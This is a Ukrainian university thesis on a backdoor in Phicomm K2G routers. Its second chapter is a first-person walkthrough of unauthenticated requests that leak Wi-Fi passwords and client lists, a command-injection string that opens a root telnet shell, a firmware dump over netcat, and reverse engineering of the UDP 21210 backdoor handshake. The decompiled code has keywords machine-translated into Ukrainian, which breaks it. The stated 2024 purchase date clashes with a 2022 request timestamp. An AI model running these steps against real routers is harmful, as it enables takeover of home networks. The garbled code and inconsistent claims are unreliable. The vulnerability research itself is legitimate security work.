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Таким чином, кваліфікаційна робота має практичну цінність для розширення можливостей управління і безпеки мережевих пристроїв, а також для подальших наукових і практичних досліджень у сфері мережевих технологій і безпеки.
Також, отримані результати роботи можуть бути використані в навчальних курсах та тренінгах для підготовки спеціалістів у сфері мережевої безпеки і адміністрування.


ABSTRACT

The topic of the qualification work: “Development of a backdoor protocol Phicomm routers”.
Author of the work: Shevchenko Anton Yuriyovych.
Supervisor: candidate of sciences in public administration, associate professor Yevhen Oleksandrovych Zhivylo.
Total volume of work: 75 pages. The number of illustrations is 51. The number of tables is 2 The number of bibliographic references is 30 references.
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The purpose of the work is to create and implement a specialized protocol for remote access and control of Phicomm routers that will provide the ability to control the routers of this manufacturer using a hidden channel, while ensuring the appropriate level of protection and integration with existing device functions.
As a result of the research, a new backdoor protocol was developed, the protocol was implemented in the Phicomm router environment, functionality and security were ensured, the impact of the protocol on the performance and stability of the system was evaluated, and recommendations were made for further improvement of the protocol and ensuring its security.
Thus, the qualification work has practical value for expanding the management and security capabilities of network devices, as well as for further scientific and practical research in the field of network technologies and security.
Also, the obtained work results can be used in educational courses and trainings for the training of specialists in the field of network security and administration.
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ПЕРЕЛІК УМОВНИХ ПОЗНАЧЕНЬ, СКОРОЧЕНЬ І ТЕРМІНІВ
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	–
	Програмне забезпечення

	ШПЗ
	–
	Шкідливе програмне забезпечення

	2FA
	–
	Двофакторноа автентифікація

	ACL
	–
	(Access Control Lists): Набори правил, які дозволяють або забороняють доступ до мережі залежно від IP-адреси, порту чи протоколу.

	DDoS
	–
	(Distributed Denial of Service). Атаки на відмову в обслуговуванні

	DNS
	–
	(Domain Name System). Цей протокол відповідає за перетворення доменних імен на IP-адреси.

	FTP
	–
	(File Transfer Protocol). Протокол, що забезпечує передачу файлів між клієнтами та серверами в мережі.

	HTTP/HTTPS
	–
	Hypertext Transfer Protocol / Secure Hypertext Transfer Protocol). Протоколи, що використовуються для обміну інформацією між веб-браузерами та серверами.

	IPsec
	–
	(Internet Protocol Security): Забезпечує шифрування даних на рівні мережі.

	QoS
	–
	Гостьова мережа для оптимізації пріоритетів трафіку та можливості керування мережею через мобільні додатки

	TCP/IP
	–
	Transmission Control Protocol/Internet Protocol. Забезпечує надійну доставку пакетів даних та відповідає за контроль цілісності переданих даних

	UDP
	–
	User Datagram Protocol. Протокол, який дозволяє передавати дані без підтвердження їх отримання. 

	VPN
	–
	(Virtual Private Network): Створення захищених тунелів для передачі даних через загальнодоступні мережі.

	Wi-Fi
	–
	Бездротова точка роздачі інтернету





ВСТУП

Актуальність кваліфікаційної роботи на тему “Розробка бекдор-протоколу маршрутизаторів Phicomm” зумовлена кількома факторами.
По-перше, зростаюча кількість кіберзагроз і атак на мережеві пристрої вимагає постійного вдосконалення методів захисту. Маршрутизатори, як ключові компоненти будь-якої комп’ютерної мережі, стають мішенню для зловмисників, що ставить під загрозу конфіденційність і цілісність даних.
По-друге, популярність бренду Phicomm вимагає більш детального дослідження його продуктів, зокрема можливих вразливостей, які можуть бути експлуатовані зловмисниками. Розробка спеціалізованого бекдор-протоколу дозволить дослідити і виявити недоліки в існуючих системах безпеки, що сприятиме покращенню загальної надійності пристроїв.
По-третє, у світі, де Інтернет речей (IoT) набуває все більшого поширення, важливо мати гнучкі та безпечні протоколи для управління мережевими пристроями. Це створює попит на нові рішення, які можуть забезпечити контроль над пристроями, не вдаючись до небезпечних дій.
Таким чином, розробка бекдор-протоколу маршрутизаторів Phicomm є актуальною не лише з точки зору безпеки, а й з точки зору вдосконалення технологій управління мережами, що є важливим аспектом сучасного розвитку інформаційних технологій.
Отже метою роботи є дослідження архітектури та вивчення функціонування маршрутизаторів Phicomm для ідентифікації потенційних вразливостей та слабких місць у системі безпеки.
У першому розділі роботи здійснено детальний огляд маршрутизаторів Phicomm, в якому розглянуто їхні основні характеристики, архітектуру та функціональні можливості які включають структуру його компонентів, а також механізми взаємодії. Також проведено аналіз мережевих протоколів, що використовуються в цих пристроях, з акцентом на їхню продуктивність і надійність.
Другий розділ кваліфікаційної роботи присвячений розробці бекдор-протоколу для маршрутизаторів Phicomm. У цьому розділі сформульовано технічні вимоги, що визначають основні характеристики та функції протоколу, які повинні забезпечувати безпечний доступ і контроль. Остання частина розділу зосереджена на практиках впровадження цього протоколу, що містить рекомендації з інтеграції в існуючі системи, а також обговорення можливих сценаріїв використання та тестування його ефективності в реальних умовах.
У третьому розділі роботи розглянуто порядок скасування бекдор-протоколів Phicomm, що включає детальний опис процедур та механізмів видалення цих протоколів з маршрутизаторів. Оцінка результатів роботи бекдор-протоколів Phicomm також є важливою частиною цього розділу, де проведено аналіз їхньої ефективності та впливу на безпеку пристроїв. У результаті оцінювання визначено переваги та недоліки впроваджених протоколів, що дозволяє сформулювати рекомендації для подальшого вдосконалення систем безпеки.
Об’єктом дослідження є маршрутизатори Phicomm, зокрема їхня архітектура, мережеві протоколи та аспекти безпеки, пов’язані з використанням бекдор-протоколів.
Дослідження також охоплює способи їхнього впровадження та скасування, а також оцінку результатів функціонування цих протоколів у реальних умовах.
Предметом дослідження є бекдор-протокол, розроблений для маршрутизаторів Phicomm, а також методи його реалізації, впровадження, оцінка ефективності та вплив на безпеку пристроїв.
Дослідження включає аналіз технічних вимог, архітектури протоколу та практик його скасування.
Відповідно до визначеної мети в дипломній роботі поставлені, і вирішені наступні задачі:
Відповідно до визначеної мети в дипломній роботі поставлені та вирішені наступні задачі:
- Розробка технічних вимог для бекдор-протоколу, а саме визначення необхідних функцій та характеристик протоколу. Створення структури його компонентів та механізмів взаємодії.
- Визначення процедур для видалення бекдор-протоколів з маршрутизаторів Phicomm.
Ці задачі сприяють досягненню основної мети дослідження та формують комплексний підхід до підвищення безпеки маршрутизаторів Phicomm.
Наукова новизна роботи полягає в дослідженні унікального бекдор-протоколу для маршрутизаторів Phicomm, що забезпечує нові підходи до управління та контролю безпеки цих пристроїв.
Основні аспекти новизни включають:
Впровадження комплексного підходу до оцінки результатів функціонування протоколу, що дозволяє виявити його переваги та недоліки в реальних умовах.
Розробку нових процедур для безпечного видалення бекдор-протоколів, що підвищує загальний рівень захисту.
Ці аспекти наукової новизни сприяють розвитку теорії та практики безпеки мережевих пристроїв, що робить внесок у вдосконалення технологій захисту.
Методи дослідження. Для вирішення поставлених задач в дипломній роботі використовувалися методи пізнання, системного аналізу і експерименту.
Основні результати, отримані в дипломній роботі що виносяться на захист:
1. Аналіз вразливостей маршрутизаторів Phicomm та визначення загроз, що дозволяє сформулювати рекомендації для подальшого покращення безпеки.
2. Процедури для безпечного обходу, блокування та видалення бекдор-протоколів з маршрутизаторів Phicomm.
Ці результати підкреслюють значимість роботи та її внесок у розвиток технологій безпеки мережевих пристроїв.
У підсумку, розробка бекдор-протоколу для маршрутизаторів Phicomm не лише підвищує рівень їхньої безпеки, але й забезпечує нові можливості для управління мережевими пристроями.
Отримані результати свідчать про доцільність подальшого вивчення і вдосконалення мережевих протоколів, а також розробки нових рішень для підвищення безпеки маршрутизаторів у контексті зростаючих загроз кіберпростору. Таким чином, дана робота вносить вагомий внесок у розвиток технологій безпеки та управління мережевими пристроями.
Практична цінність кваліфікаційної роботи полягає в розроблених методиках впровадження та порядку скасування бекдор-протоколу, які забезпечують чіткі та дієві рекомендації для його інтеграції в реальні системи маршрутизаторів. Ці рекомендації дозволяють не лише ефективно реалізувати протокол, але й безпечно видаляти його у разі необхідності, що підтверджує значимість отриманих результатів для реального застосування в сфері безпеки мережевих пристроїв. Завдяки цьому, робота має потенціал для практичного використання у вдосконаленні систем захисту маршрутизаторів Phicomm і підвищення їхньої надійності.
Достовірність наукових положень, результатів отриманих в дипломній роботі підтверджується коректною постановкою задач.
Особистий внесок. Всі дослідження, викладені в дипломній роботі, проведені автором в процесі наукової діяльності. Результати, які виносяться на захист, отримані особисто, запозичений матеріал позначений в роботі посиланнями.


РОЗДІЛ 1

АКТУАЛЬНІСТЬ ТА ОБҐРУНТУВАННЯ ВИБОРУ ТЕМИ

1.1. Огляд маршрутизаторів Phicomm.

Маршрутизатори Phicomm [1] – це мережеві пристрої, які набули популярності завдяки поєднанню доступної ціни, простоти налаштування та надійної роботи. Компанія Phicomm спеціалізується на виробництві телекомунікаційного обладнання, зокрема маршрутизаторів для домашнього та малого бізнес-середовища (Рис.1.1.).
[image: ]
Рисунок 1.1. – Маршрутизатор Phicomm

Основні переваги маршрутизаторів Phicomm [1]:
1. Доступність. Маршрутизатори Phicomm позиціонуються як бюджетні рішення, що робить їх привабливими для користувачів, які шукають якісні пристрої за невисокою ціною.
2. Простота налаштування. Завдяки інтуїтивно зрозумілому інтерфейсу, користувачі можуть легко налаштувати маршрутизатор без необхідності володіння глибокими технічними знаннями.
3. Характеристики продуктивності. Багато моделей Phicomm підтримують сучасні стандарти Wi-Fi, такі як 802.11ac, що забезпечує високу швидкість передачі даних. Вони також мають багатоканальні антени для покращення покриття мережі.
4. Безпека. Маршрутизатори Phicomm оснащені стандартними функціями безпеки, такими як шифрування WPA/WPA2, захист від DDoS-атак та функції батьківського контролю.
5. Додаткові функції. Деякі моделі підтримують гостьову мережу, функцію QoS для оптимізації пріоритетів трафіку та можливості дистанційного керування мережею через мобільні додатки.
Маршрутизатори Phicomm орієнтовані на користувачів, яким важливі стабільність і надійність без зайвих витрат. Вони добре підходять для домашнього використання та малих офісів, забезпечуючи базові потреби мережевого з’єднання з достатнім рівнем безпеки та продуктивності.

1.2. Аналіз мережевих протоколів

Мережеві протоколи є основою для обміну даними між пристроями в мережі. Вони визначають правила та стандарти, за якими відбувається передача, обробка та отримання інформації в цифрових системах. Аналіз мережевих протоколів є важливим етапом для розуміння того, як працюють різні мережеві архітектури, а також для забезпечення ефективності та безпеки мережі [2].
Основні типи мережевих протоколів [2]:
1. TCP/IP (Transmission Control Protocol/Internet Protocol). Один із найпоширеніших наборів протоколів, який забезпечує надійну доставку пакетів даних. TCP відповідає за контроль цілісності переданих даних, а IP – за їх маршрутизацію через мережу. Цей протокол є основою для роботи Інтернету та більшості сучасних мереж.
2. UDP (User Datagram Protocol). Протокол, який дозволяє передавати дані без підтвердження їх отримання. Хоча він менш надійний, ніж TCP, проте використовується в ситуаціях, де важлива швидкість передачі, наприклад, для потокового відео або онлайн-ігор.
3. HTTP/HTTPS (Hypertext Transfer Protocol/Secure Hypertext Transfer Protocol). Протоколи, що використовуються для обміну інформацією між веб-браузерами та серверами. HTTPS забезпечує захищене шифрування даних, що є важливим для безпеки користувацької інформації.
4. FTP (File Transfer Protocol). Протокол, що забезпечує передачу файлів між клієнтами та серверами в мережі. Його використовують для завантаження і завантаження файлів на веб-сайти або для обміну великими обсягами даних.
5. DNS (Domain Name System). Цей протокол відповідає за перетворення доменних імен на IP-адреси. Завдяки DNS користувачі можуть легко отримати доступ до веб-сайтів через зрозумілі адреси, замість використання числових IP-адрес.
Аналіз мережевих протоколів дозволяє оцінити їхню продуктивність, ефективність і рівень безпеки. Наприклад, використання протоколів з шифруванням (як-от HTTPS або TLS) стає критичним для захисту даних у сучасних мережах [2]. Крім того, правильний вибір протоколів впливає на швидкість передачі даних, надійність з’єднання та загальну продуктивність мережевої інфраструктури.
Таким чином, детальний аналіз протоколів допомагає приймати обґрунтовані рішення щодо налаштування і оптимізації мереж, забезпечуючи надійність, безпеку та високу продуктивність мережевих систем.

1.3. Аналіз безпеки маршрутизаторів

Маршрутизатори відіграють ключову роль у забезпеченні комунікації між пристроями в мережах, зокрема в Інтернеті, і тому є важливим елементом у захисті мережевої інфраструктури. Через свою функціональність вони стають критичними точками, які можуть бути вразливими до різних атак. Аналіз безпеки маршрутизаторів є необхідним для виявлення можливих загроз і розробки методів захисту.
Основні аспекти безпеки маршрутизаторів [3]:
1. Контроль доступу. Одним із ключових аспектів безпеки маршрутизатора є захист від несанкціонованого доступу. Це передбачає:
- Аутентифікація: Використання сильних паролів, двофакторної автентифікації (2FA), або сертифікатів для доступу до конфігураційних налаштувань.
- Захищені протоколи: Використання протоколів управління, таких як SSH або HTTPS, замість незахищених варіантів (наприклад, Telnet чи HTTP).
2. Фільтрація трафіку. Фільтрування трафіку є одним з основних методів захисту маршрутизатора. Це дозволяє обмежувати потік даних на основі певних правил. Для цього використовуються:
- ACL (Access Control Lists) [3]: Набори правил, які дозволяють або забороняють доступ до мережі залежно від IP-адреси, порту чи протоколу.
- Брандмауери (файрволи): Вбудовані у маршрутизатори брандмауери допомагають відсікати шкідливий трафік.
3. Захист від атак типу DDoS (Distributed Denial of Service) [3]. Атаки на відмову в обслуговуванні можуть перевантажити маршрутизатор великим обсягом шкідливого трафіку, що призведе до його збоїв. Для захисту від таких атак можна застосовувати:
- Обмеження пропускної здатності: Встановлення лімітів на кількість з’єднань або пакетів, що можуть бути оброблені маршрутизатором за одиницю часу.
- Інтеграція з системами виявлення атак (IDS/IPS): Ці системи можуть виявляти та автоматично реагувати на спроби атак.
4. Оновлення програмного забезпечення. Виробники маршрутизаторів регулярно випускають оновлення для своїх продуктів, які включають виправлення вразливостей і покращення безпеки. Своєчасне встановлення таких оновлень є важливим кроком у підтримці безпеки маршрутизатора.
5. Шифрування даних. Для захисту конфіденційної інформації, яка проходить через маршрутизатор, необхідно використовувати шифрування. Основні методи шифрування включають:
- IPsec (Internet Protocol Security) [3]: Забезпечує шифрування даних на рівні мережі.
- VPN (Virtual Private Network) [3]: Створення захищених тунелів для передачі даних через загальнодоступні мережі.
Вразливості маршрутизаторів
1. Відкриті порти. Незахищені або непотрібні відкриті порти можуть стати точками входу для атак. Важливо:
- Закривати всі порти, які не використовуються для роботи мережі.
- Моніторити активність на використовуваних портах.
2. Вбудовані облікові дані за замовчуванням. Багато маршрутизаторів постачаються з попередньо встановленими логінами та паролями, які легко знайти в документації або в Інтернеті. Ці дані повинні бути змінені після першого підключення.
3. Атаки через шкідливе ПЗ. Маршрутизатори можуть бути вразливими до зараження шкідливими програмами, які дозволяють зловмисникам отримувати контроль над пристроєм. Це може відбуватися через:
- Незахищені веб-інтерфейси.
- Вразливості у прошивці.
- Захист від таких атак полягає в регулярному скануванні на шкідливе ПЗ та оновленні прошивки.
4. Недостатній моніторинг. Багато маршрутизаторів не мають належного моніторингу підозрілої активності. Це може дозволити атакам залишатися непоміченими. 
Безпека маршрутизаторів є важливою складовою загальної мережевої безпеки. Регулярний аналіз можливих вразливостей, належне налаштування захисту та постійне оновлення маршрутизаторів допоможуть уникнути більшості загроз, з якими стикаються сучасні мережі.

РОЗДІЛ 2

РОЗРОБКА БЕКДОР-ПРОТОКОЛУ МАРШРУТИЗАТОРА PHICOMM

2.1. Технічні вимоги

Прошивка маршрутизаторів Phicomm містить численні критичні вразливості, які можуть бути використані віддаленим неавтентифікованим зловмисником для отримання кореневої оболонки на пристрої. Всі версії прошивок Phicomm, починаючи з 2017 року, відкривають доступ до криптографічно заблокованого бекдору [4]. 
Я провів аналіз мережевого протоколу цього бекдору на трьох різних ітераціях в одинадцяти версіях прошивки. Результати показують, що криптографічний захист бекдору можна обійти, що дає зловмиснику можливість отримати кореневу оболонку.
Phicomm більше не існує, і ці пристрої ніколи не будуть виправлені. Більше того, пристрої Phicomm все ще присутні на ринку, їх надлишки перепродують інші постачальники, такі як Wavlink, які іноді ігнорують оновлення прошивки, постачаючи їх з уразливою мікропрограмою Phicomm.
На початку січня 2024 року мною було придбано досить звичайний і недорогий побутовий роутер. Виробником Wi-Fi-маршрутизатора була компанія Wavlink і він мав серію AC1200 (рис. 2.1), яку можна знайти на Amazon за ціною менше 30 доларів.
Після підключення маршрутизатора я спробував зайти в його адміністративний інтерфейс, який, згідно з наклейкою на його нижній частині, мав бути доступний за адресою 192.168.10.1. Однак ситуація прийняла несподіваний поворот. DHCP-сервер маршрутизатора призначив адресу в підмережі 192.168.2.0/24, встановивши 192.168.2.1 як шлюз за замовчуванням.
Я перейшов на інтерфейс пристрою виробника Phicomm (рис. 2.2).

[image: ]
Рисунок 2.1. – WAVLINK AC1200

[image: https://miro.medium.com/v2/resize:fit:875/0*hwmSE422Gso6T6aV.png]
Рисунок 2.2. – Інтерфейс пристрою Phicomm

За допомогою Google Translate я почав досліджувати цей несподіваний інтерфейс Phicomm. На сторінці стану системи (系统状态) виявилось, що модель пристрою позначена як K2G, з апаратним забезпеченням версії A1 (рис. 2.3). Також була зазначена версія мікропрограми – 22.6.3.20. Ця інформація дала мені змогу зрозуміти, з якою саме версією маршрутизатора я маю справу, що стало важливим для подальшого аналізу його функцій та вразливостей.
Інтернет-пошук за запитом “Phicomm K2G A1” виявив кілька списків для цього продукту, який дійсно має разючу схожість з маршрутизатором Wavlink (рис. 2.4), отриманим мною з Amazon.
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Рисунок 2.3. – Сторінка стану системи (系统状态) в веб-інтерфейсі адміністратора мікропрограми Phicomm.

Багато з цих товарів були позначені як “зняті з виробництва”, що свідчить про те, що Phicomm більше не підтримує цей пристрій, і, можливо, він більше не отримує оновлень або технічної підтримки. Це підкреслює важливість перевірки наявності вразливостей у такій продукції, оскільки користувачі можуть залишитися без належного захисту.
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	[image: Маршрутизатор знайомого вигляду з оригінальним брендом Phicomm.]


Рисунок 2.4. – Схожість  в брендуванні

Отже розпочинаючи проведення даного дослідження необхідно зазначити, що увімкнення дистанційного керування на домашньому маршрутизаторі ніколи не є доброю ідеєю, але це рідко стримує постачальників від пропозицій цієї функції. Багато користувачів не можуть встояти перед спокусою надати доступ до керування своєю локальною мережею через Інтернет, часто сподіваючись на те, що цей доступ буде захищено лише слабким паролем.
Як і багато інших побутових маршрутизаторів, Phicomm K2G A1 має цю функцію, і швидкий пошук на Shodan показує, що дистанційне керування активовано на багатьох з цих пристроїв. Це створює потенційні ризики безпеки, оскільки зловмисники можуть легко отримати доступ до вразливих маршрутизаторів і використати їх у своїх цілях.
Якщо користувач вирішить увімкнути віддалене керування, інтерфейс користувача пропонує порт 8181 за замовчуванням для адміністративного веб-інтерфейсу та 255.255.255.255 як маску мережі за замовчуванням. Це налаштування відкриває порт 8181 для всієї WAN, що в більшості житлових мереж означає доступ через Інтернет.
Базовий пошук на Shodan (рис. 2.5) [4] вказує на те, що багато користувачів (переважно з Китаю) обирали саме ці параметри під час налаштування веб-серверу віддаленого керування на маршрутизаторі Phicomm K2G. Це створює серйозні ризики безпеки, оскільки відкриті порти можуть бути легко виявлені зловмисниками, що дозволяє їм отримати несанкціонований доступ до мережі.
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Рисунок 2.5. – Пошук shodan.io за запитом «port:8181».

Для доступу до панелі адміністратора необхідно ввести пароль, який користувач обрав під час налаштування роутера. Phicomm дозволяє заощадити кілька секунд і полегшити запам’ятовування, натиснувши прапорець, щоб встановити пароль адміністратора таким самим, як пароль для бездротової мережі 2,4 ГГц.
Адміністративний веб-сервер мікропрограми Phicomm пропонує ряд інтерфейсів, таких як /LocalMACConfig.asp і /wirelesssetup.asp, які можна використовувати для отримання та зміни параметрів конфігурації маршрутизатора без будь-якої автентифікації [4]. Це становить особливу небезпеку, коли дистанційне керування увімкнено, оскільки фактично надає доступ до адміністративного контролю над різними налаштуваннями маршрутизатора будь-якому користувачеві в Інтернеті, відкриваючи при цьому доступ до дуже конфіденційної інформації.
Наприклад, якщо ви хочете дізнатися, які пристрої підключені до локальної мережі маршрутизатора, все, що потрібно зробити, це надіслати запит за адресою http://10.3.3.12:8181/LocalClientList.asp?action=get (де 10.3.3.12 – це IP-адреса маршрутизатора, а 8181 – порт для віддаленого керування). Цей запит дозволить отримати список підключених пристроїв без жодної автентифікації (рис. 2.6), що ще більше підвищує ризики безпеки [5].
[image: Знімок екрана, на якому показано, як можна отримати каталог локальної мережі з веб-сервера керування без автентифікації.]
Рисунок 2.6. – Отримання інформації про локальну мережу з веб-сервера керування Phicomm без автентифікації

Тут ми бачимо віртуальні машини Kali та pfSense, підключені до маршрутизатора Phicomm, а також iPad, який підробляє свою MAC-адресу.
Припустімо, ми хочемо підключитися до цієї локальної мережі. Якщо маршрутизатор знаходиться поруч, ми можемо спробувати під’єднатися до однієї з його Wi-Fi мереж (рис. 2.7). Щоб отримати пароль, достатньо звернутись з запросом до маршрутизатора [5]:
[image: Знімок екрана, на якому показано, як можна отримати паролі WiFi без автентифікації.]
Рисунок 2.7. Отримання паролів WiFi від служби віддаленого керування без аутентифікації

Якщо власник цього маршрутизатора прийняв пропозицію Phicomm використовувати один і той же пароль для бездротової мережі 2,4 ГГц та адміністративного інтерфейсу (рис. 2.8), то ви тепер також отримуєте віддалений адміністративний доступ до маршрутизатора (рис. 2.9).
[image: Скріншот панелі адміністратора Phicomm.]
Рисунок 2.8. – Використання Phicomm паролю WiFi 2,4 ГГц.

Однак навіть якщо ви не отримали доступ до пароля, існує ряд налаштувань, які дозволяють використовувати кінцеві точки псевдо-ASP для взаємодії з маршрутизатором (рис. 2.10). Це і атаки перейменування пралолю, а також це вектор для надсилання потенційно шкідливого вмісту в адміністративний веб-інтерфейс.

[image: Знімок екрана інтерфейсу веб-адміністратора маршрутизатора Phicomm із інформацією про локальну мережу.]
Рисунок 2.9. – Сторінка інформації про локальну мережу в адміністративному веб-інтерфейсі.

	[image: Знімок екрана, на якому показано, як перейменувати хости в цільовій локальній мережі.]
	

[image: https://miro.medium.com/v2/resize:fit:875/0*vkd7niJ1gfBEDuSu.png]


Рисунок 2.10. – Використання неавтентифікованої кінцевої точки віддаленого керування

Якщо виникає відчуття невпевненості або бажання уникати цієї мережі, то, використовуючи той самий інтерфейс, можна заборонити локальним користувачам доступ до неї (рис. 2.11). Нижче наведено скриншот браузера, що демонструє результат після такого блокування.
Наведений метод заборони лише обмежує доступ до маршрутизатора та глобальної мережі, і його можна просто обійти, змінивши MAC-адресу пристрою (рис. 2.12).
	[image: https://miro.medium.com/v2/resize:fit:875/0*C8fieU-XEB0gmzOo.png]
	[image: https://miro.medium.com/v2/resize:fit:875/0*4p2hnxpEOhzk4_-C.png]


Рисунок 2.11. – Візуалізація заборони користувачам доступу до локальної та глобальної мережі без попередньої автентифікації.

[image: https://miro.medium.com/v2/resize:fit:875/0*zkmqFjsCnKRgiPSM.png]
Рисунок 2.12. – Зміна  MAC-адреси

Запит на розблокування для конкретної MAC-адреси можна здійснити, встановивши параметр BlockUser на значення 0 (рис. 2.13).

[+] URL-адреса запиту http://10.3.3.12:8181//LocalMACConfig.asp?
action=set&BlockUser=0&MAC=A6%3aDC%3a5C%3aF6%3a2C%a2B&IP=unknown&DeviceRename=kali&isBind=0&ifType=0&UpMax=0&DownMax=0&_= 1642459782743
{'retMACConfigresult': {'ALREADYLOGIN': 0, 'MACConfigresult': 1}}

З малюнка 2.13 ми бачимо, що заборона залежить від MAC-адреси локального клієнта. Також видно, що ця заборона може бути знята майже так само, як вона була накладена, машиною на стороні WAN, яка надсилає неавтентифіковані запити.
[image: https://miro.medium.com/v2/resize:fit:865/0*swt3awibTDeU-IPV.png]
Рисунок 2.13. – Розблокування MAC-адреси

Бібліотекою, яка відповідає за обробку цих .asp кінцевих точок, є модуль lighttpd mod_mobileapp.so. Серед приблизно 68 кінцевих точок, визначених адміністративним інтерфейсом, 18 можуть бути активовані без жодної автентифікації з боку користувача. До таких кінцевих точок належать wirelesssetup.asp та будь-які з префіксом Local [6]:
LocalCheckClientNumber.asp 
LocalCheckDetectFinish.asp 
LocalCheckInetHealthStatus.asp 
LocalCheckInetSpeedStatus.asp 
LocalCheckInterfacelink.asp 
LocalCheckNetworkType.asp LocalCheckRouterPassword.asp LocalCheckWIFI.asp LocalC heckWanStatus.asp LocalCheckWifiPassword.asp LocalCheckWirelessStatus.asp LocalClientList.asp LocalIndex.asp LocalMACConfig.asp LocalNetworkSet.asp 
LocalStartAutodetect . asp wirelesssetup.asp

2.2. Архітектура бекдор-протоколу

Алгоритм ескалації від автентифікованого сеансу адміністратора до кореневої оболонки на маршрутизаторі. Припустімо, вам вдалося отримати доступ до панелі адміністратора маршрутизатора Phicomm K2G A1 завдяки необережному розкриттю пароля через неавтентифіковану кінцеву точку /wirelesssetup.asp?action=get [7]. Тепер отримати кореневу оболонку на пристрої стало досить просто завдяки уразливості ін’єкції команд в інтерфейсі Phicomm, яка вже відома серед хакерів, що спеціалізуються на маршрутизаторах цієї марки (рис. 2.14).
[image: https://miro.medium.com/v2/resize:fit:875/0*PTA_w-QZ8NV20D-g.png]
Рисунок 2.14. – Скриншот атаки ін’єкції команди, яка була виконана після авторизації.

Атака ін’єкції команди реалізується шляхом надсилання рядка | /usr/sbin/telnetd -l /bin/login.sh, де меню оновлення мікропрограми запитує час доби для перевірки наявності оновлень. Маршрутизатор передасть цей час, використовуючи команду оболонки, яку виконуватиме з привілеями root. Символ труби | вказує маршрутизатору передати вихід першої команди другій, що надається зловмисником. Команда /usr/sbin/telnetd -l /bin/login.sh відкриває кореневу оболонку, до якої зловмисник може підключитися через telnet на порті 23 [7].
Цей метод справді був застосований для отримання кореневої оболонки (рис. 2.15), що дозволило мені дослідити середовище виконання маршрутизатора та завантажити його мікропрограму на свою робочу станцію для подальшого аналізу. Я реалізував це простим способом, а саме – передав кожен блоковий пристрій через gzip і netcat на свій хост, а потім видобув файлові системи за допомогою binwalk.
Перше, що я зробив, коли отримав доступ, це виконав команду netstat –tunlp (рис. 2.16), щоб перевірити, які інші служби можуть прослуховуватись на цьому пристрої.
Зверніть увагу, що служба прослуховує UDP-порт 21210, який netstat ідентифікує як telnetd_startup. Ця служба забезпечує криптографічно заблокований бекдор до маршрутизатора. У подальшому я розгляну, як працює цей механізм захисту, а також способи його обходу.
[image: https://miro.medium.com/v2/resize:fit:875/0*Bjw5AJPhuLIS3n14.png]
Рисунок 2.15. – Перевірка того, що атака ін’єкції команд, задокументована UpanTool

[image: https://miro.medium.com/v2/resize:fit:875/0*okBuRQ_NLglNEf70.png]
Рисунок. 2.16. – Використання netstat на маршрутизаторі

Зворотнє проектування бекдора Phicomm [8]. Служба telnetd_startup у маршрутизаторах Phicomm зовні нагадує демон Netgear і виконує подібну функцію. Вона дозволяє авторизованій стороні активувати службу telnet, що, в свою чергу, надає доступ до кореневої оболонки на маршрутизаторі. Проте, що відрізняє бекдор Phicomm, так це не лише складний протокол виклику та відповіді, але й вимога використання приватного ключа RSA для його активації. 
Незважаючи на цю вимогу, захист виявляється ненадійним, і існує критична лазівка, яка дозволяє зловмиснику “зламати” криптографічний замок без необхідності в ключі.
Початковий стан [8]. Служба telnetd_startup розпочинає свою роботу (рис. 2.17) непомітно прослуховуючи UDP-порт 21210. Доти, поки вона не отримає пакет з 10-байтним “рукостисканням” ABCDEF1234, вона залишатиметься абсолютно беззвучною. У такому стані Nmap відобразить UDP-порт 21210 як open|filtered, не надаючи жодних підказок про те, що на ньому може прослуховуватися [9].
Якщо служба отримає “рукостискання”, вона відповість UDP-пакетом, що містить 16-байтовий буфер. Дослідження двійкового коду демона виявляє сигнальні константи хеш-функції MD5, які мають довжину 16 байтів (Рис.2.18).
[image: https://miro.medium.com/v2/resize:fit:875/0*VczC9rJzhTSbasgI.png]
Рисунок 2.17. – Схема керування основним циклом подій у двійковому файлі telnetd_startup.
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Рисунок 2.18. – Хеш-функції MD5

Розбирання блоку коду в telnetd_startup, який ініціалізує хешер, який використовується для створення повідомлення ідентифікації продукту. Цей хешер можна розпізнати як MD5 за його сигнальними константами.


void md5_init( 
uint *context) 
{ 
  *context = 0; 
  контекст [2] = 0x67452301; 
  контекст [1] = 0; 
  контекст[3] = 0xefcdab89; 
  context[4] = 0x98badcfe; 
  контекст [5] = 0x10325476; 
  повернення; 
}


Схема керування функцією хешування, яка розпізнається як MD5 наведена нижче (Рис.2.19).
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Рисунок 2.19. – Схема керування функцією хешування

void md5_add(uint *param_1,void *param_2,uint param_3) 
{ 
  uint uVar1; 
  uint uVar2; 
  uint __n; 
  
  uVar2 = (*param_1 << 0x17) >> 0x1a; 
  uVar1 = param_3 * 8 + *param_1; 
  __n = 0x40 - uVar2; 
  *param_1 = uVar1; 
  if (uVar1 < param_3 * 8) { 
    param_1[1] = param_1[1] + 1; 
  } 
  param_1[1] = param_1[1] + (param_3 >> 0x1d); 
  if (param_3 < __n) { 
    __n = 0; 
  } 
  else { 
    memcpy((void *)((int)param_1 + uVar2 + 0x18),param_2,__n); 
    FUN_00402004(параметр_1 + 2,параметр_1 + 6); 
    while( true ) { 
      uVar2 = 0; 
      if (param_3 < __n + 0x40) розрив; 
      FUN_00402004(param_1 + 2,(int)param_2 + __n); 
      __n = __n + 0x40; 
    } 
  } 
  memcpy((void *)((int)param_1 + uVar2 + 0x18),(void *)((int)param_2 + __n),param_3 - __n); 
  повернення; 
}

Нижче приведено (Рис.2.20) блок коду, відповідальний за надсилання хешу, що ідентифікує продукт, клієнту, який надсилає маршрутизатору початковий маркер “рукостискання” («ABCDEF1234»).
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Рисунок 2.20. – Блок коду, відповідальний за надсилання хешу

За допомогою Ghidra цей блок коду я декомпілював в наступний C -код:
memset(&K2_COSTDOWN__VER_3.0_at_00414ba0,0,0x80); memcpy(&K2_COSTDOWN__VER_3.0_at_00414ba0,"K2_COSTDOWN__VER_3.0",0x14); 
memset(md5,0,0x58); 
md5_init(md5); 
md5_add(md5,&K2_COSTDOWN__VER_3.0_at_00414ba0,0x80); 
md5_digest(md5,&HASH_OF_K2_COSTDOWN_at_4149a0); 
MD5_HASH_OF_K2_COSTDOWN_STRING_COPY_at_401d30 = 0; 
DAT_00414b74 = 0; 
DAT_00414b78 = 0; 
DAT_00414b7c = 0; 
memcpy(&MD5_HASH_OF_K2_COSTDOWN_STRING_COPY_at_401d30, 
       &HASH_OF_K2_COSTDOWN_at_4149a0, 
       0x10); 
sendto(SKT, 
       &MD5_HASH_OF_K2_COSTDOWN_STRING_COPY_at_401d30, 
       0x10, 
       0, 
       &src_addr, 
       addrlen); 
CHECK_STATE_004147e0 = 0;

